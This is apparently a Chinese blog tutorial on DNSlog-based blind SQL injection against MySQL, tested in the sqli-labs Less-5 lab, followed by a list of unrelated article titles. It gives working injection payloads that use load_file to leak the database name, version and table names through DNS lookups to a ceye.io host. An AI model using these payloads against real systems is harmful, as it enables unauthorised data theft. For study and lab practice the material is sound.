DNSlog实现Mysql注入
step1:
通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%' 查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改。
自己添加
重启mysql
ok!
step2:
测试LOAD_FILE函数
正常!
step3:
登录ceye.io,获取Identifier
step4:
先骂自己一句,没use选中数据库就select,结果ceye后端一直没接收到消息。(lll¬ω¬)
use security;
select load_file(concat('\\\\\\\\',(select database()),'.6dz4ut.ceye.io\\abc'));
ceye后端情况
ok!
step5:
sqli-labs环境Less-5测试
获取数据库版本
payload:1' and if((select load_file(concat('\\\\',(select version()),'.6dz4ut.ceye.io\\abc'))),1,1)--+
获取security的表
payload:1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.6dz4ut.ceye.io\\abc'))),1,1)--+
ok!
全程基本没啥问题,就是前提条件secure_file_priv为null很蛋疼。
http://docs.hackinglab.cn/HawkEye-Log-Dns-Sqli.html
最新文章
- 函数式中的 currying
- Leetcode: Count The Repetitions
- Sliverlight 样式
- mongoDB在windows下安装与配置方案
- .net字符串Gzip压缩和base64string转换:
- Log4Net学习【二】
- linux c 及 c++打印调用者函数caller function的方法,包括arm c平台
- Swagger 生成 ASP.NET Web API
- cocos2d-x 新建项目 Cannot open include file: ‘cocos2d.h’
- HDU1385 【输出字典序最小的最短路】
- 最小的MVC工程
- spring定时任务的几种实现方式
- 前端javascript基础总结(1)js的构成以及数据类型
- Mysql数据库连接查询
- CCF认证考试——折点计数
- vue中一个dom元素可以绑定多个事件?
- vue路由嵌套,vue動態路由
- pip安装库时报错,使用国内镜像加速
- ESLint具体规则设置
- 认识一下margin